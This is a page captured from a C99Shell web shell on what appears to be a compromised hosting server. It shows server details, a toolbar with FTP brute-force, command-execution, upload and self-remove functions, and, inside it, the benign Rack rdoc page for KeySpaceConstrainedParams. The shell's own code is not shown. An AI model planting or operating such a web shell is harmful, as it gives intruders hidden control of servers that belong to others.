!C99Shell v.2.1 [PHP 7 Update] [1.12.2019]!

Software: Apache. PHP/5.3.29 

uname -a: Linux tardis23.nocplanet.net 4.18.0-553.lve.el8.x86_64 #1 SMP Mon May 27 15:27:34 UTC 2024
x86_64
 

 

Safe-mode: OFF (not secure)

/opt/alt/ruby19/lib64/ruby/gems/1.9.1/doc/rack-1.6.4/rdoc/Rack/Utils/   drwxr-xr-x
Free 979 GB of 1859.98 GB (52.63%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     KeySpaceConstrainedParams.html (21.59 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
Class: Rack::Utils::KeySpaceConstrainedParams

Files

Class/Module Index [+]

Quicksearch

Rack::Utils::KeySpaceConstrainedParams

Public Class Methods

new(limit = Utils.key_space_limit) click to toggle source
# File lib/rack/utils.rb, line 543
def initialize(limit = Utils.key_space_limit)
  @limit  = limit
  @size   = 0
  @params = {}
end

Public Instance Methods

[](key) click to toggle source
# File lib/rack/utils.rb, line 549
def [](key)
  @params[key]
end
[]=(key, value) click to toggle source
# File lib/rack/utils.rb, line 553
def []=(key, value)
  @size += key.size if key && !@params.key?(key)
  raise RangeError, 'exceeded available parameter key space' if @size > @limit
  @params[key] = value
end
key?(key) click to toggle source
# File lib/rack/utils.rb, line 559
def key?(key)
  @params.key?(key)
end
to_params_hash() click to toggle source
# File lib/rack/utils.rb, line 563
def to_params_hash
  hash = @params
  hash.keys.each do |key|
    value = hash[key]
    if value.kind_of?(self.class)
      if value.object_id == self.object_id
        hash[key] = hash
      else
        hash[key] = value.to_params_hash
      end
    elsif value.kind_of?(Array)
      value.map! {|x| x.kind_of?(self.class) ? x.to_params_hash : x}
    end
  end
  hash
end

[Validate]

Generated with the Darkfish Rdoc Generator 2.


:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v.2.1 [PHP 7 Update] [1.12.2019] maintained by KaizenLouie and updated by cermmik | C99Shell Github (MySQL update) | Generation time: 0.0858 ]--